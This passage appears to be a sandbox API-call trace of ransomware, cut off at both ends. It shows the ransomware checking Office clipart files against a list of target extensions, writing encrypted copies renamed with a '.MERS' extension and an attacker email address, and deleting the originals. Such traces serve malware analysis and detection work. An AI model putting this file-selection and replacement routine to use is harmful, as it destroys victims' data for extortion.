lpString2="_.GIF") returned -1 [0266.950] lstrlenW (lpString=".pdf") returned 4 [0266.950] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.950] lstrlenW (lpString=".xls") returned 4 [0266.950] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.950] lstrlenW (lpString=".xlsx") returned 5 [0266.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.950] lstrlenW (lpString=".ppt") returned 4 [0266.951] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0266.951] lstrlenW (lpString=".zip") returned 4 [0266.951] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.951] lstrlenW (lpString=".rar") returned 4 [0266.951] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.951] lstrlenW (lpString=".bz2") returned 4 [0266.951] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.951] lstrlenW (lpString=".7z") returned 3 [0266.951] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0266.951] lstrlenW (lpString=".dbf") returned 4 [0266.951] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0266.951] lstrlenW (lpString=".1cd") returned 4 [0266.951] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0266.951] lstrlenW (lpString=".jpg") returned 4 [0266.951] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.951] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0266.951] lstrlenW (lpString="AG00171_.GIF") returned 12 [0266.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0266.951] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=5016) returned 1 [0266.952] CloseHandle (hObject=0x384) returned 1 [0266.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0266.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0266.952] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.952] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0266.952] GetLastError () returned 0x0 [0266.952] ReadFile (in: hFile=0x384, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x1398, lpOverlapped=0x0) returned 1 [0266.982] WriteFile (in: hFile=0x3ac, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x13a0, lpOverlapped=0x0) returned 1 [0266.983] ReadFile (in: hFile=0x384, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.983] WriteFile (in: hFile=0x3ac, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.983] SetEndOfFile (hFile=0x3ac) returned 1 [0266.984] CloseHandle (hObject=0x3ac) returned 1 [0266.984] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.984] SetEndOfFile (hFile=0x384) returned 1 [0266.991] CloseHandle (hObject=0x384) returned 1 [0266.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0267.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0267.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0267.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0267.012] lstrlenW (lpString=".doc") returned 4 [0267.012] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0267.012] lstrlenW (lpString=".docx") returned 5 [0267.013] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0267.013] lstrlenW (lpString=".pdf") returned 4 [0267.013] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0267.013] lstrlenW (lpString=".xls") returned 4 [0267.013] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0267.013] lstrlenW (lpString=".xlsx") returned 5 [0267.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0267.013] lstrlenW (lpString=".ppt") returned 4 [0267.013] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0267.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0267.013] lstrlenW (lpString=".zip") returned 4 [0267.013] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0267.013] lstrlenW (lpString=".rar") returned 4 [0267.013] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0267.013] lstrlenW (lpString=".bz2") returned 4 [0267.013] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0267.013] lstrlenW (lpString=".7z") returned 3 [0267.013] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0267.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0267.013] lstrlenW (lpString=".dbf") returned 4 [0267.013] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0267.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0267.013] lstrlenW (lpString=".1cd") returned 4 [0267.013] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0267.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0267.013] lstrlenW (lpString=".jpg") returned 4 [0267.013] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0267.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0267.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0267.013] lstrlenW (lpString=".doc") returned 4 [0267.013] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0267.013] lstrlenW (lpString=".docx") returned 5 [0267.013] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0267.014] lstrlenW (lpString=".pdf") returned 4 [0267.014] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0267.014] lstrlenW (lpString=".xls") returned 4 [0267.014] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0267.014] lstrlenW (lpString=".xlsx") returned 5 [0267.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0267.014] lstrlenW (lpString=".ppt") returned 4 [0267.014] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0267.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0267.014] lstrlenW (lpString=".zip") returned 4 [0267.014] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0267.014] lstrlenW (lpString=".rar") returned 4 [0267.014] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0267.014] lstrlenW (lpString=".bz2") returned 4 [0267.014] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0267.014] lstrlenW (lpString=".7z") returned 3 [0267.014] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0267.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0267.014] lstrlenW (lpString=".dbf") returned 4 [0267.014] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0267.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0267.014] lstrlenW (lpString=".1cd") returned 4 [0267.014] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0267.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0267.014] lstrlenW (lpString=".jpg") returned 4 [0267.014] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0267.014] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0267.014] lstrlenW (lpString="AG00175_.GIF") returned 12 [0267.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0267.015] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=3378) returned 1 [0267.015] CloseHandle (hObject=0x3d4) returned 1 [0267.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0267.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0267.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0267.016] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.016] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0267.016] GetLastError () returned 0x0 [0267.016] ReadFile (in: hFile=0x3d4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0xd32, lpOverlapped=0x0) returned 1 [0267.078] WriteFile (in: hFile=0x3c4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xd40, lpOverlapped=0x0) returned 1 [0267.244] ReadFile (in: hFile=0x3d4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0267.244] WriteFile (in: hFile=0x3c4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0267.244] SetEndOfFile (hFile=0x3c4) returned 1 [0267.795] CloseHandle (hObject=0x3c4) returned 1 [0267.846] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.847] SetEndOfFile (hFile=0x3d4) returned 1 [0268.039] CloseHandle (hObject=0x3d4) returned 1 [0268.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0268.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0268.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0268.059] lstrlenW (lpString=".doc") returned 4 [0268.059] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0268.059] lstrlenW (lpString=".docx") returned 5 [0268.059] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0268.059] lstrlenW (lpString=".pdf") returned 4 [0268.060] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0268.060] lstrlenW (lpString=".xls") returned 4 [0268.060] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0268.060] lstrlenW (lpString=".xlsx") returned 5 [0268.060] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0268.060] lstrlenW (lpString=".ppt") returned 4 [0268.060] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0268.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0268.060] lstrlenW (lpString=".zip") returned 4 [0268.060] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0268.060] lstrlenW (lpString=".rar") returned 4 [0268.060] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0268.060] lstrlenW (lpString=".bz2") returned 4 [0268.060] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0268.060] lstrlenW (lpString=".7z") returned 3 [0268.060] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0268.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0268.060] lstrlenW (lpString=".dbf") returned 4 [0268.060] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0268.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0268.060] lstrlenW (lpString=".1cd") returned 4 [0268.060] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0268.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0268.060] lstrlenW (lpString=".jpg") returned 4 [0268.060] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0268.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0268.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0268.060] lstrlenW (lpString=".doc") returned 4 [0268.060] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0268.060] lstrlenW (lpString=".docx") returned 5 [0268.060] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0268.060] lstrlenW (lpString=".pdf") returned 4 [0268.060] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0268.060] lstrlenW (lpString=".xls") returned 4 [0268.060] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0268.061] lstrlenW (lpString=".xlsx") returned 5 [0268.061] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0268.061] lstrlenW (lpString=".ppt") returned 4 [0268.061] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0268.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0268.061] lstrlenW (lpString=".zip") returned 4 [0268.061] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0268.061] lstrlenW (lpString=".rar") returned 4 [0268.061] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0268.061] lstrlenW (lpString=".bz2") returned 4 [0268.061] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0268.061] lstrlenW (lpString=".7z") returned 3 [0268.061] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0268.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0268.061] lstrlenW (lpString=".dbf") returned 4 [0268.061] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0268.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0268.061] lstrlenW (lpString=".1cd") returned 4 [0268.061] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0268.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0268.061] lstrlenW (lpString=".jpg") returned 4 [0268.061] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0268.061] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0268.061] lstrlenW (lpString="AG00176_.GIF") returned 12 [0268.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.062] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=3120) returned 1 [0268.062] CloseHandle (hObject=0x388) returned 1 [0268.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0268.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0268.062] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.062] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0268.062] GetLastError () returned 0x0 [0268.062] ReadFile (in: hFile=0x388, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0xc30, lpOverlapped=0x0) returned 1 [0268.077] WriteFile (in: hFile=0x3d4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xc40, lpOverlapped=0x0) returned 1 [0268.078] ReadFile (in: hFile=0x388, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.078] WriteFile (in: hFile=0x3d4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.078] SetEndOfFile (hFile=0x3d4) returned 1 [0268.078] CloseHandle (hObject=0x3d4) returned 1 [0268.078] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.078] SetEndOfFile (hFile=0x388) returned 1 [0268.082] CloseHandle (hObject=0x388) returned 1 [0268.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0268.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0268.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0268.144] lstrlenW (lpString=".doc") returned 4 [0268.144] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0268.144] lstrlenW (lpString=".docx") returned 5 [0268.144] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0268.144] lstrlenW (lpString=".pdf") returned 4 [0268.144] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0268.144] lstrlenW (lpString=".xls") returned 4 [0268.144] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0268.144] lstrlenW (lpString=".xlsx") returned 5 [0268.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0268.144] lstrlenW (lpString=".ppt") returned 4 [0268.144] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0268.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0268.145] lstrlenW (lpString=".zip") returned 4 [0268.145] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0268.145] lstrlenW (lpString=".rar") returned 4 [0268.145] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0268.145] lstrlenW (lpString=".bz2") returned 4 [0268.145] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0268.145] lstrlenW (lpString=".7z") returned 3 [0268.145] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0268.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0268.145] lstrlenW (lpString=".dbf") returned 4 [0268.145] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0268.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0268.145] lstrlenW (lpString=".1cd") returned 4 [0268.145] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0268.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0268.145] lstrlenW (lpString=".jpg") returned 4 [0268.145] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0268.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0268.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0268.145] lstrlenW (lpString=".doc") returned 4 [0268.145] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0268.145] lstrlenW (lpString=".docx") returned 5 [0268.145] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0268.145] lstrlenW (lpString=".pdf") returned 4 [0268.145] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0268.145] lstrlenW (lpString=".xls") returned 4 [0268.145] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0268.145] lstrlenW (lpString=".xlsx") returned 5 [0268.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0268.145] lstrlenW (lpString=".ppt") returned 4 [0268.145] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0268.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0268.145] lstrlenW (lpString=".zip") returned 4 [0268.145] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0268.146] 